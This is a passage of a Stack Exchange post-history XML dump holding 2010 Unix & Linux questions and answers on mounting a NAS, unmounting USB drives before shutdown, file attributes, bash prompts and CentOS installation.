  <row Id="6282" PostHistoryTypeId="5" PostId="2998" RevisionGUID="2e0a42ed-f424-4fc5-9826-6ddc82e7e938" CreationDate="2010-10-11T20:56:26.747" UserId="451" Comment="deleted 2 characters in body" Text="I have a WD MyBook World NAS on my home network.  I currently use this for Time Machine backups for my Mac but I'd also like to use it as a backup location for my linux box which is running Ubuntu Server.  How can I mount this drive on the linux server so that my cron backups can use it as a backup destination?&#xD;&#xA;&#xD;&#xA;I have configured the WD drive with a static IP address which I assume would be important in the solution." />
  <row Id="6283" PostHistoryTypeId="5" PostId="2996" RevisionGUID="e059d315-5e15-49f9-8e43-ccd45b907f39" CreationDate="2010-10-11T20:59:04.230" UserId="2200" Comment="added 209 characters in body" Text="Hi, &#xD;&#xA;&#xD;&#xA;I'm having a problem in the top menu panel since a couple of days, some space has been created between some icons and I don't know how to remove it. A screendump:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does anyone know what the reason could be for it?&#xD;&#xA;&#xD;&#xA;By the way, I'm using Ubuntu Lucid (should I ask in the ubuntu site?).&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Edited: This is how it looks like now, still one blank space, but much better (I guess it has something to do with the question from Michael's link)&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ddW4P.png&#xD;&#xA;  [2]: http://i.imgur.com/5V3m8.png" />
  <row Id="6284" PostHistoryTypeId="2" PostId="2999" RevisionGUID="9d88c8f6-91e4-4b8a-9a4e-efcf0acf14e3" CreationDate="2010-10-11T21:04:12.450" UserId="1267" Text="&#xD;&#xA;Sometime, back i had actually asked this question of how Linux actually goes into the auto suspend mode.&#xD;&#xA;&#xD;&#xA;I would like to ask a similar question. Supposing i have a USB attached to my system, ( OS = Fedora 13) , are there commands, which can do the following:&#xD;&#xA;&#xD;&#xA;- It should detach the USB&#xD;&#xA;&#xD;&#xA;- After detaching it, it should shutdown, in the given time. &#xD;&#xA;&#xD;&#xA;To be more precise, here detaching means (safely remove drive) command!" />
  <row Id="6285" PostHistoryTypeId="1" PostId="2999" RevisionGUID="9d88c8f6-91e4-4b8a-9a4e-efcf0acf14e3" CreationDate="2010-10-11T21:04:12.450" UserId="1267" Text="Automatic Linux Commands" />
  <row Id="6286" PostHistoryTypeId="3" PostId="2999" RevisionGUID="9d88c8f6-91e4-4b8a-9a4e-efcf0acf14e3" CreationDate="2010-10-11T21:04:12.450" UserId="1267" Text="éfedoraà" />
  <row Id="6287" PostHistoryTypeId="2" PostId="3000" RevisionGUID="79c6118c-663f-432c-bde0-335b291a3ec1" CreationDate="2010-10-11T21:29:21.027" UserId="2046" Text="&#xD;&#xA;If it's just a simple tls proxy, you can try [stunnel][1].&#xD;&#xA;&#xD;&#xA;Set up an stunnel from localhost:some_port to gateway:rdp_port, then point your rdp client to localhost:some_port.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stunnel.org/" />
  <row Id="6288" PostHistoryTypeId="5" PostId="2999" RevisionGUID="fd894763-7c92-48af-ba34-0bc527c1f34f" CreationDate="2010-10-11T21:29:20.857" UserId="1207" Comment="added 27 characters in body; edited tags" Text="Previously, I asked [this question][1] about how to suspend Linux after a set amount of time.&#xD;&#xA;&#xD;&#xA;I would like to ask a similar question. Supposing I have a USB device attached to my system (OS = Fedora 13), are there commands that can:&#xD;&#xA;&#xD;&#xA;- detach the USB device and&#xD;&#xA;&#xD;&#xA;- After detaching it, it should shutdown, in the given time. &#xD;&#xA;&#xD;&#xA;To be more precise, here detaching means (safely remove drive) command!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/1759/1207" />
  <row Id="6289" PostHistoryTypeId="6" PostId="2999" RevisionGUID="fd894763-7c92-48af-ba34-0bc527c1f34f" CreationDate="2010-10-11T21:29:20.857" UserId="1207" Comment="added 27 characters in body; edited tags" Text="écommandölineàéfedoraàéunmountingà" />
  <row Id="6290" PostHistoryTypeId="2" PostId="3001" RevisionGUID="a6bcbf2f-caa3-461b-91ea-52b1585044c0" CreationDate="2010-10-11T21:37:24.247" UserId="1339" Text="I assume by USB you mean a pendrive or external harddisk mounted to your file system.&#xD;&#xA;You &quot;detach&quot; this by unmounting the device. For that you will have to use the umount command. You can use the device or the mountpoint, for example:&#xD;&#xA;&#xD;&#xA;`umount /dev/sdb1` or `umount /mnt/usb`&#xD;&#xA;&#xD;&#xA;See [man umount][1] for more details.&#xD;&#xA;&#xD;&#xA;For shutting down your system, you use the `shutdown` command. `-h` will *&quot;Halt or power off after shutdown&quot;*. The manpage says:&#xD;&#xA;&#xD;&#xA;    SYNOPSIS&#xD;&#xA;           /sbin/shutdown [-akrhPHfFnc] [-t sec] time [warning message]&#xD;&#xA;&#xD;&#xA;So you can use it to shutdown your system after a specific amount of time. The following command will halt your system after 30 minutes:&#xD;&#xA;&#xD;&#xA;`shutdown -h 30`&#xD;&#xA;&#xD;&#xA;Now you have one command which should only executed after the other one was succesfull. This is done with &amp;&amp;, shorthand for a conditional statement and a feature of your shell (Note: || exists also). The second command will only be executed if the first one returned without any errors. This is indicated by a return code of 0. For example:&#xD;&#xA;&#xD;&#xA;`umount /dev/sdb1 &amp;&amp; shutdown -h 15` will detach your USB and halt your system after 15 minutes.&#xD;&#xA;&#xD;&#xA;If this doesn't answer your question, please be more specific.&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?umount+8" />
  <row Id="6291" PostHistoryTypeId="2" PostId="3002" RevisionGUID="991217b3-5273-41bd-8a2f-df9ad3cb7fd8" CreationDate="2010-10-11T21:38:56.627" UserId="274" Text="According to the [manual](http://www.wdc.com/wdproducts/library/?id=142&amp;type=25), the MyBook supports both the CIFS/SMB and the NFS protocols.&#xD;&#xA;&#xD;&#xA;CIFS/SMB is the protocol natively used by Windows for accessing network drives. You should be able to access the MyBook on a Linux/Unix system by using the [smbclient](http://linux.die.net/man/1/smbclient) or [mount.cifs](http://linux.die.net/man/8/mount.cifs), e.g. to access (mount) the &quot;public&quot; folder on MyBook on the local directory `/mnt` you would issue (from a `root` terminal):&#xD;&#xA;&#xD;&#xA;    mount.cifs //ip.address.of.mybook/public /mnt -o username=admin,password=admin_passwd_on_mybook&#xD;&#xA;&#xD;&#xA;or, equivalently:&#xD;&#xA;&#xD;&#xA;    mount -t cifs -o username=admin,password=... //ip.address.of.mybook/public /mnt&#xD;&#xA;&#xD;&#xA;where:&#xD;&#xA;&#xD;&#xA;1. you can substitute &quot;public&quot; with &quot;download&quot; (to access the pre-defined download share) or any share name that you have created with the MyBook storage manager.&#xD;&#xA;&#xD;&#xA;2. username/password can be those of any user that you have created on the MyBook storage manager interface; or just use `-o guest` instead of `-o username=...,password=...` to specify &quot;Guest&quot; access.&#xD;&#xA;&#xD;&#xA;Access by the NFS protocol is not enabled by default; you have first to enable it in the &quot;Advanced&quot; tab of the MyBook storage manager, then you can mount the disk shares via NFS with:&#xD;&#xA;&#xD;&#xA;  mount -t nfs ip.address.of.mybook/nfs/public /mnt&#xD;&#xA;&#xD;&#xA;Again, &quot;public&quot; can be any defined share name." />
  <row Id="6292" PostHistoryTypeId="5" PostId="3000" RevisionGUID="d74a7776-16b2-4eb9-9f51-59890e53cb69" CreationDate="2010-10-11T21:39:17.787" UserId="2046" Comment="added 245 characters in body; deleted 22 characters in body" Text="If it's just a simple tls proxy, (plain rdp is tunneled over tls) you can try [stunnel][1].&#xD;&#xA;&#xD;&#xA;Set up an stunnel from localhost:some_port to gateway:rdp_port, then point your rdp client to localhost:some_port.&#xD;&#xA;&#xD;&#xA;But if there's some other protocol involved (other than rdp and tls) then you're likely to need a client that supports that protocol. In which case, does the MS RDP client work under WINE?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stunnel.org/" />
  <row Id="6293" PostHistoryTypeId="2" PostId="3003" RevisionGUID="2dc2b31e-b4d2-4d24-92e5-e6791588bd96" CreationDate="2010-10-11T21:59:45.323" UserId="1339" Text="// edit: I had in mind, that the WD MyBook World is only accessible by the MioNet software? However the links may still be helpfull:&#xD;&#xA;&#xD;&#xA;There are good and bad news.&#xD;&#xA;&#xD;&#xA;Bad news first: The official statement of the vendor is the following:&#xD;&#xA;&#xD;&#xA;&gt; Does MioNet work with Macintosh or&#xD;&#xA;&gt; Linux computers? &#xD;&#xA;&gt; &#xD;&#xA;&gt; Currently, MioNet&#xD;&#xA;&gt; works with only Windows-based&#xD;&#xA;&gt; computers. However, our platform will&#xD;&#xA;&gt; be extended to these operating systems&#xD;&#xA;&gt; in the future.&#xD;&#xA;&#xD;&#xA;[Mionet FAQ][1]&#xD;&#xA;&#xD;&#xA;Good News: The WD MyBook World runs a linux system which can be &quot;opened&quot;. You can enalbe ssh and install additional packages:&#xD;&#xA;&#xD;&#xA;&gt; The system partition has 2.8GB (only&#xD;&#xA;&gt; 260 MB is occupied). This means that&#xD;&#xA;&gt; you have a lot of resources for&#xD;&#xA;&gt; various improvements.&#xD;&#xA;&#xD;&#xA;Here are two guides to open the NAS:&#xD;&#xA;&#xD;&#xA;[Hacking Western Digital MyBook World Edition][2]&#xD;&#xA;[Hacking WD MyBook World Ed][3]&#xD;&#xA;&#xD;&#xA;The chapter [&quot;MyBook World Edition acting as a NFS server&quot;][4] could be interesting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mionet.com/products/faqs.aspx#faq_18&#xD;&#xA;  [2]: http://martin.hinner.info/mybook/&#xD;&#xA;  [3]: http://mybookworld.wikidot.com/&#xD;&#xA;  [4]: http://martin.hinner.info/mybook/nfs_server.php" />
  <row Id="6294" PostHistoryTypeId="5" PostId="3003" RevisionGUID="61e32013-c2ce-4202-a726-a0fd72b96fbb" CreationDate="2010-10-11T22:04:42.657" UserId="73" Comment="added 6 characters in body" Text="**Edit**: I had in mind that the WD MyBook World is only accessible by the MioNet software; however, the links may still be helpful:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;There is good and bad news.&#xD;&#xA;&#xD;&#xA;Bad news first: The official statement of the vendor is the following:&#xD;&#xA;&#xD;&#xA;&gt; Does MioNet work with Macintosh or&#xD;&#xA;&gt; Linux computers? &#xD;&#xA;&gt; &#xD;&#xA;&gt; Currently, MioNet&#xD;&#xA;&gt; works with only Windows-based&#xD;&#xA;&gt; computers. However, our platform will&#xD;&#xA;&gt; be extended to these operating systems&#xD;&#xA;&gt; in the future.&#xD;&#xA;&#xD;&#xA;[Mionet FAQ][1]&#xD;&#xA;&#xD;&#xA;Good News: The WD MyBook World runs a linux system which can be &quot;opened&quot;. You can enable ssh and install additional packages:&#xD;&#xA;&#xD;&#xA;&gt; The system partition has 2.8GB (only&#xD;&#xA;&gt; 260 MB is occupied). This means that&#xD;&#xA;&gt; you have a lot of resources for&#xD;&#xA;&gt; various improvements.&#xD;&#xA;&#xD;&#xA;Here are two guides to open the NAS:&#xD;&#xA;&#xD;&#xA;[Hacking Western Digital MyBook World Edition][2]&#xD;&#xA;[Hacking WD MyBook World Ed][3]&#xD;&#xA;&#xD;&#xA;The chapter [&quot;MyBook World Edition acting as a NFS server&quot;][4] could be interesting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mionet.com/products/faqs.aspx#faq_18&#xD;&#xA;  [2]: http://martin.hinner.info/mybook/&#xD;&#xA;  [3]: http://mybookworld.wikidot.com/&#xD;&#xA;  [4]: http://martin.hinner.info/mybook/nfs_server.php" />
  <row Id="6295" PostHistoryTypeId="2" PostId="3004" RevisionGUID="7bbc9cd8-6914-4fe5-9bcb-e36a0b0685bc" CreationDate="2010-10-11T22:47:46.510" UserId="1389" Text="I have a DVD+-RW drive that has quit working. Apparently many users of this laptop model experience the same problem under windows and are required to edit the registry to correct the problem. So where should I look to make a similar edit?" />
  <row Id="6296" PostHistoryTypeId="1" PostId="3004" RevisionGUID="7bbc9cd8-6914-4fe5-9bcb-e36a0b0685bc" CreationDate="2010-10-11T22:47:46.510" UserId="1389" Text="What is the Linux equivalent of the Windows registry?" />
  <row Id="6297" PostHistoryTypeId="3" PostId="3004" RevisionGUID="7bbc9cd8-6914-4fe5-9bcb-e36a0b0685bc" CreationDate="2010-10-11T22:47:46.510" UserId="1389" Text="éterminalàésettingsàélaptopàédvdà" />
  <row Id="6298" PostHistoryTypeId="2" PostId="3005" RevisionGUID="62c4f723-6912-41e7-a34f-c54246660347" CreationDate="2010-10-11T22:58:34.043" UserId="1578" Text="Hi guys,&#xD;&#xA;&#xD;&#xA;I was trying to remove some old history from .bash_history file, but I was receiving this message:&#xD;&#xA;&#xD;&#xA;    [john ~] /home/john $ mv .bash_history .bas&#xD;&#xA;    mv: impossible to move `.bash_history' to `.bas': Operation not permited&#xD;&#xA;&#xD;&#xA;Then I suspect about file/directory permission:&#xD;&#xA;&#xD;&#xA;    [john ~] /home/john $ ls -ld .bash_history .&#xD;&#xA;    drwxrwx--T+ 5 root       john 4096 Out 11 19:45 .&#xD;&#xA;    -rw-r--r--  1 john john 2977 Out 10 14:36 .bash_history&#xD;&#xA;    [john ~] /home/john $&#xD;&#xA;&#xD;&#xA;Then I tried:&#xD;&#xA;&#xD;&#xA;    [john ~] /home/john $ lsattr .bash*&#xD;&#xA;    -----a------- .bash_history&#xD;&#xA;    ------------- .bash_logout&#xD;&#xA;    ------------- .bash_profile&#xD;&#xA;    ------------- .bashrc&#xD;&#xA;    [john ~] /home/john $&#xD;&#xA;&#xD;&#xA;Probably is this `a` attribute... what does it means?&#xD;&#xA;&#xD;&#xA;Thanks guys" />
  <row Id="6299" PostHistoryTypeId="1" PostId="3005" RevisionGUID="62c4f723-6912-41e7-a34f-c54246660347" CreationDate="2010-10-11T22:58:34.043" UserId="1578" Text="Linux doesn't edit .bash_history file" />
  <row Id="6300" PostHistoryTypeId="3" PostId="3005" RevisionGUID="62c4f723-6912-41e7-a34f-c54246660347" CreationDate="2010-10-11T22:58:34.043" UserId="1578" Text="élinuxàébashàécommandöhistoryà" />
  <row Id="6301" PostHistoryTypeId="2" PostId="3006" RevisionGUID="7539f710-65b4-4227-81bf-17b1976b98c3" CreationDate="2010-10-11T23:15:19.363" UserId="885" Text="Thankfully, there is no Linux equivalent of the Windows registry. Configuration is kept in (mostly) text files:&#xD;&#xA;&#xD;&#xA;* The system configuration is in text files under `/etc`.&#xD;&#xA;* The system state, which in Windows ends up mixed with configuration data, lives under `/var.`&#xD;&#xA;* User configuration and state lives in “dot files”, i.e., files and directories whose name begins with a `.` in your home directory.&#xD;&#xA;&#xD;&#xA;You can't simply transpose a registry edit to a configuration in another operating system: registry edits are completely Windows-specific. You'll have to understand what the registry edit is doing and transpose it to Linux. It's likely that you'll end up modifying a file under `/etc`, but there are too many potential candidates to list here (also, it might depend on your distribution).&#xD;&#xA;" />
  <row Id="6302" PostHistoryTypeId="2" PostId="3007" RevisionGUID="64f0c5f9-dd83-41de-b7e7-c257b6501a2c" CreationDate="2010-10-11T23:28:12.913" UserId="885" Text="The `a` attribute means that the file is append-only: you can't overwrite it or delete it, only append data to it. This is explained in the [`chattr`](http://linux.die.net/man/1/chattr) man page. Only root can remove the attribute.&#xD;&#xA;&#xD;&#xA;The practical consequence is that you can't erase your old history lines. This is presumably intended as a security measure by your system administrator. I'm not completely convinced it's secure, but off the top of my head I can't think of a way to remove some of the file's contents. (It is however easy to bypass the file and run commands without their showing in the history, which is why it's not a particularly useful security measure against competent users — an obvious way being to run the commands from something other than bash.).&#xD;&#xA;" />
  <row Id="6303" PostHistoryTypeId="2" PostId="3008" RevisionGUID="cf4ea9d4-d476-4c96-8350-1a9da3d8091d" CreationDate="2010-10-11T23:31:05.427" UserId="4" Text="I haven't done this myself, but the new [Upstart][1] service (which is [supported in Fedora 9][2] onwards) does have the ability to run scripts based on an event. Here's an article discusses how an event can be triggered when [how a hotplug device or when a USB printer is plugged in][3].&#xD;&#xA;&#xD;&#xA;In theory, an event could also be generated when you unplug a USB device, and that event could call an arbitrary script , like `shutdown -h now` or `lock the screen`.&#xD;&#xA;&#xD;&#xA;I've seen Windows and Mac systems which automatically lock the screen when a Bluetooth device leaves the proximity of the computer, and this is probably possible in Linux using Upstart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://upstart.ubuntu.com/&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/Upstart&#xD;&#xA;  [3]: http://www.linux.com/archive/articles/125977" />
  <row Id="6304" PostHistoryTypeId="5" PostId="3008" RevisionGUID="ab9cd720-0877-44e8-9e94-9bc4d8b0200d" CreationDate="2010-10-12T00:07:55.973" UserId="4" Comment="added 98 characters in body" Text="It sounds like you want your machine to shutdown automatically when you remove a USB pendrive.&#xD;&#xA;&#xD;&#xA;I haven't done this myself, but the new [Upstart][1] service (which is [supported in Fedora 9][2] onwards) does have the ability to run scripts based on an event. Here's an article discusses how an event can be triggered when [how a hotplug device or when a USB printer is plugged in][3].&#xD;&#xA;&#xD;&#xA;In theory, an event could also be generated when you unplug a USB device, and that event could call an arbitrary script , like `shutdown -h now` or `lock the screen`.&#xD;&#xA;&#xD;&#xA;I've seen Windows and Mac systems which automatically lock the screen when a Bluetooth device leaves the proximity of the computer, and this is probably possible in Linux using Upstart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://upstart.ubuntu.com/&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/Upstart&#xD;&#xA;  [3]: http://www.linux.com/archive/articles/125977" />
  <row Id="6305" PostHistoryTypeId="2" PostId="3009" RevisionGUID="14f93dc7-f3b3-44ed-a58f-8a59f6d2b015" CreationDate="2010-10-12T03:10:58.997" UserId="1942" Text="About a year ago I changed from running Windows as dual boot to very rarely running Windows as a VM. As a result most of my partitions are in ntfs ( so I had access on both sides of the boot ). I have decided to reformat all these partitions to ... &#xD;&#xA;&#xD;&#xA;Looking for the best first class filesystem format,&#xD;&#xA;&#xD;&#xA;I am using a desktop with 1G-2G storage.&#xD;&#xA;&#xD;&#xA;So how do I determine which one best serves my needs?" />
  <row Id="6306" PostHistoryTypeId="1" PostId="3009" RevisionGUID="14f93dc7-f3b3-44ed-a58f-8a59f6d2b015" CreationDate="2010-10-12T03:10:58.997" UserId="1942" Text="linux: How to determine the best filesystem format?" />
  <row Id="6307" PostHistoryTypeId="3" PostId="3009" RevisionGUID="14f93dc7-f3b3-44ed-a58f-8a59f6d2b015" CreationDate="2010-10-12T03:10:58.997" UserId="1942" Text="élinuxàéfilesystemsà" />
  <row Id="6308" PostHistoryTypeId="4" PostId="2999" RevisionGUID="e2218dd9-3b8c-4a84-932e-a90b6259e680" CreationDate="2010-10-12T03:13:58.597" UserId="1207" Comment="changed title" Text="How can I shutdown after unmounting a USB device from the command line?" />
  <row Id="6309" PostHistoryTypeId="5" PostId="2999" RevisionGUID="d44b3b3c-a4b1-40ec-be91-e33149b91d65" CreationDate="2010-10-12T05:27:57.083" UserId="1207" Comment="added 16 characters in body" Text="Previously, I asked [this question][1] about how to suspend Linux after a set amount of time.&#xD;&#xA;&#xD;&#xA;I would like to ask a similar question. Supposing I have a USB device attached to my system (OS = Fedora 13), are there commands that can:&#xD;&#xA;&#xD;&#xA;- detach the USB device and,&#xD;&#xA;&#xD;&#xA;- after detaching it, shutdown the system after a specified interval. &#xD;&#xA;&#xD;&#xA;To be more precise, detaching means a command that safely removes the device.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/1759/1207" />
  <row Id="6310" PostHistoryTypeId="2" PostId="3010" RevisionGUID="9f70b24d-4c94-4896-a35a-acc44fbb1b4e" CreationDate="2010-10-12T06:34:20.207" UserId="515" Text="Best file system is subjective. Since you haven't specified your needs I'd suggest to use `EXT4`. It has got better speed and support files with sizes up to 16TB. " />
  <row Id="6311" PostHistoryTypeId="5" PostId="3005" RevisionGUID="d1fa7da5-14ef-4c15-842f-db49f474097f" CreationDate="2010-10-12T06:39:24.883" UserId="73" Comment="deleted 25 characters in body; edited title; edited tags" Text="I was trying to remove some old history from my `.bash_history` file, but I was receiving this message:&#xD;&#xA;&#xD;&#xA;    [john ~] /home/john $ mv .bash_history .bas&#xD;&#xA;    mv: impossible to move `.bash_history' to `.bas': Operation not permited&#xD;&#xA;&#xD;&#xA;I suspected the file/directory permission:&#xD;&#xA;&#xD;&#xA;    [john ~] /home/john $ ls -ld .bash_history .&#xD;&#xA;    drwxrwx--T+ 5 root       john 4096 Out 11 19:45 .&#xD;&#xA;    -rw-r--r--  1 john john 2977 Out 10 14:36 .bash_history&#xD;&#xA;    [john ~] /home/john $&#xD;&#xA;&#xD;&#xA;Then I tried:&#xD;&#xA;&#xD;&#xA;    [john ~] /home/john $ lsattr .bash*&#xD;&#xA;    -----a------- .bash_history&#xD;&#xA;    ------------- .bash_logout&#xD;&#xA;    ------------- .bash_profile&#xD;&#xA;    ------------- .bashrc&#xD;&#xA;    [john ~] /home/john $&#xD;&#xA;&#xD;&#xA;Probably it is this `a` attribute; what does it mean?&#xD;&#xA;" />
  <row Id="6312" PostHistoryTypeId="4" PostId="3005" RevisionGUID="d1fa7da5-14ef-4c15-842f-db49f474097f" CreationDate="2010-10-12T06:39:24.883" UserId="73" Comment="deleted 25 characters in body; edited title; edited tags" Text="What does the 'a' attribute in lsattr mean?" />
  <row Id="6313" PostHistoryTypeId="6" PostId="3005" RevisionGUID="d1fa7da5-14ef-4c15-842f-db49f474097f" CreationDate="2010-10-12T06:39:24.883" UserId="73" Comment="deleted 25 characters in body; edited title; edited tags" Text="élinuxàébashàécommandöhistoryàéxattrà" />
  <row Id="6314" PostHistoryTypeId="5" PostId="2898" RevisionGUID="870a9578-6edf-428b-818e-bb1189a0d746" CreationDate="2010-10-12T07:55:56.137" UserId="102" Comment="replaced generic add-apt-repository command with the specific one needed here" Text="This is a [known bug/missing feature][1] in Evolution. &#xD;&#xA;&#xD;&#xA;If you don't mind installing software from a [PPA][2], you can install Geoff Goehle's patched evolution/evolution-indicator. This should give you an option in Evolution's plugin configuration to &quot;hide it in the applet&quot; if it is closed:&#xD;&#xA; &#xD;&#xA;https://launchpad.net/~goehle/+archive/goehle-ppa&#xD;&#xA;&#xD;&#xA;To add the PPA to your software sources, go to `System &gt; Administration &gt; Software Sources &gt; Other Software` and click Add, then enter ``ppa:goehle/goehle-ppa`` as a source. Or you can use the command ``sudo add-apt-repository ppa:goehle/goehle-ppa`` in a terminal.&#xD;&#xA;&#xD;&#xA;The PPA is only for the version in 10.04 at the moment.&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/evolution-indicator/+bug/460483&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Repositories/Ubuntu#Adding%20PPAs" />
  <row Id="6315" PostHistoryTypeId="2" PostId="3011" RevisionGUID="b0c8d800-b86b-4ca4-a981-28852fbe1eef" CreationDate="2010-10-12T08:09:03.403" UserId="2245" Text="Does w3m offer keyboard shortcut to go back one page? I couldn't find anything in the man pages." />
  <row Id="6316" PostHistoryTypeId="1" PostId="3011" RevisionGUID="b0c8d800-b86b-4ca4-a981-28852fbe1eef" CreationDate="2010-10-12T08:09:03.403" UserId="2245" Text="Is there a back-&quot;button&quot; in w3m?" />
  <row Id="6317" PostHistoryTypeId="3" PostId="3011" RevisionGUID="b0c8d800-b86b-4ca4-a981-28852fbe1eef" CreationDate="2010-10-12T08:09:03.403" UserId="2245" Text="écommandölineàékeyboardöshortcutsàébrowserà" />
  <row Id="6318" PostHistoryTypeId="5" PostId="2911" RevisionGUID="29c66c48-dae1-4c6f-a24d-60ed46ccc403" CreationDate="2010-10-12T08:29:12.583" UserId="1571" Comment="added 141 characters in body" Text="I want to be able to run more than 4 monitors (maybe 6) and it's extremely confusing what's compatible now with the Displayport cards coming out. Right now I have an ATI card that only has 2 HDMI outputs. The problem I've seen is that the ATI driver says it doesn't support more than 4 monitors. So it seems that their eyefinity cards would probably be more hassle than it's worth.&#xD;&#xA;&#xD;&#xA;I prefer nvidia anyway, they always seem to have really good linux drivers. But I don't see that they offer a card with more than 4 ports. Most of the higher end cards that I've seen have 2 hdmi, 1 dvi, and 1 displayport. Am I mistaken that those cards are limited to 4 monitors?&#xD;&#xA;&#xD;&#xA;And what about drivers? If I get dual nvidia cards and hook up say 2 HDMI ports + the DVI port on each card, will xorg/nvidia drivers play nice? Will I be able to set up monitors with different resolutions? (I have 2 1920x1080 and 1920x1200 screens right now)?&#xD;&#xA;&#xD;&#xA;How about x windows? Can you set up xinerama for 6 screens? Or make it able to drag x windows?&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;It seems that ati drivers have come a long way recently and that there is official eyefinity support for linux. I think I'm goin gto pick up an ATI 5870 and just see where I can get messing with it.&#xD;&#xA;&#xD;&#xA;**Update2**:  &#xD;&#xA;I ordered a 5870, I'll let you guys know how it goes. I only have a couple monitors I can play with at the moment though." />
  <row Id="6319" PostHistoryTypeId="2" PostId="3012" RevisionGUID="0c8876d3-f7c1-4401-9f8c-980d50d970c8" CreationDate="2010-10-12T08:34:40.420" UserId="1571" Text="Where is the setting that determines what the bash prompt looks like? Specifically on Arch, but I'm sure others would like to know for other distros too if it's different.&#xD;&#xA;&#xD;&#xA;Speficially I'd like to use (K)Ubuntu's prompt" />
  <row Id="6320" PostHistoryTypeId="1" PostId="3012" RevisionGUID="0c8876d3-f7c1-4401-9f8c-980d50d970c8" CreationDate="2010-10-12T08:34:40.420" UserId="1571" Text="Changing the bash prompt" />
  <row Id="6321" PostHistoryTypeId="3" PostId="3012" RevisionGUID="0c8876d3-f7c1-4401-9f8c-980d50d970c8" CreationDate="2010-10-12T08:34:40.420" UserId="1571" Text="ébashàéarchölinuxàépromptà" />
  <row Id="6322" PostHistoryTypeId="5" PostId="3009" RevisionGUID="97afd233-f3c6-44b3-87a8-eb120a8cb190" CreationDate="2010-10-12T08:39:48.773" UserId="1942" Comment="edited body" Text="About a year ago I changed from running Windows as dual boot to very rarely running Windows as a VM. As a result most of my partitions are in ntfs ( so I had access on both sides of the boot ). I have decided to reformat all these partitions to ... &#xD;&#xA;&#xD;&#xA;Looking for the best first class filesystem format,&#xD;&#xA;&#xD;&#xA;I am using a desktop with 1T-2T storage.&#xD;&#xA;&#xD;&#xA;So how do I determine which one best serves my needs?" />
  <row Id="6323" PostHistoryTypeId="2" PostId="3013" RevisionGUID="922ba99d-d2af-4fef-8695-e4be3099738d" CreationDate="2010-10-12T08:43:09.250" UserId="33" Text="The environment Variables &quot;$PS1&quot; and &quot;$PS2&quot; set the prompt's look. You can check [this howto][1] in order to see all the different variables you can put in there.&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/tips/howto-linux-unix-bash-shell-setup-prompt.html" />
  <row Id="6324" PostHistoryTypeId="2" PostId="3014" RevisionGUID="ecd8655f-d688-401b-b827-3c01fc138774" CreationDate="2010-10-12T09:06:12.597" UserId="274" Text="It's `B` (capital B)" />
  <row Id="6325" PostHistoryTypeId="2" PostId="3015" RevisionGUID="5b11fbe2-5dd0-4746-ad90-e33a41b26c49" CreationDate="2010-10-12T09:15:44.450" UserId="2248" Text="Hi - ill prob be in here a bit over the next few months.&#xD;&#xA;The only exposure ive had to Linux is just some basic dabbling with Ubuntu and using Knoppix as a recovery DVD for when things go wrong.&#xD;&#xA;&#xD;&#xA;I need to setup a VM with CentOS 5.5 64bit.&#xD;&#xA;I downloaded the [iso from the main site.][1]&#xD;&#xA;Have mounted it with VMWare workstation.&#xD;&#xA;&#xD;&#xA;[This link][2] seems to be the best one I can find on getting things setup.&#xD;&#xA;However it differs to some of the [YouTube video][3]s I have seen installing 5.4&#xD;&#xA;&#xD;&#xA;Should I be doing a Network Installation?&#xD;&#xA;Theres a step in the above guide that points to a mirror to pull the image from a webserver.  Surely the image is on the ISO I downloaded?&#xD;&#xA;&#xD;&#xA;However, I do not see any other option to install other than network install.&#xD;&#xA;&#xD;&#xA;Can anyone tell me where I am going wrong? I am sure it is something silly.&#xD;&#xA;&#xD;&#xA;  [1]: http://isoredirect.centos.org/centos/5/isos/x86_64/&#xD;&#xA;  [2]: http://www.techotopia.com/index.php/Performing_a_CentOS_Network_Installation&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=ePGtaqV7iC8" />
  <row Id="6326" PostHistoryTypeId="1" PostId="3015" RevisionGUID="5b11fbe2-5dd0-4746-ad90-e33a41b26c49" CreationDate="2010-10-12T09:15:44.450" UserId="2248" Text="Am I installing CentOS 5.5 right?" />
  <row Id="6327" PostHistoryTypeId="3" PostId="3015" RevisionGUID="5b11fbe2-5dd0-4746-ad90-e33a41b26c49" CreationDate="2010-10-12T09:15:44.450" UserId="2248" Text="écentosà" />
  <row Id="6328" PostHistoryTypeId="5" PostId="3015" RevisionGUID="8d9bcc5f-b7a5-484a-a37a-b0771b334d77" CreationDate="2010-10-12T09:23:19.957" UserId="1941" Comment="Spelling" Text="Hi - I'll probably be in here a bit over the next few months.&#xD;&#xA;The only exposure I've had to Linux is just some basic dabbling with Ubuntu and using Knoppix as a recovery DVD for when things go wrong.&#xD;&#xA;&#xD;&#xA;I need to setup a VM with CentOS 5.5 64bit.&#xD;&#xA;I downloaded the [iso from the main site.][1]&#xD;&#xA;Have mounted it with VMWare workstation.&#xD;&#xA;&#xD;&#xA;[This link][2] seems to be the best one I can find on getting things setup.&#xD;&#xA;However it differs to some of the [YouTube video][3]s I have seen installing 5.4&#xD;&#xA;&#xD;&#xA;Should I be doing a Network Installation?&#xD;&#xA;Theres a step in the above guide that points to a mirror to pull the image from a webserver.  Surely the image is on the ISO I 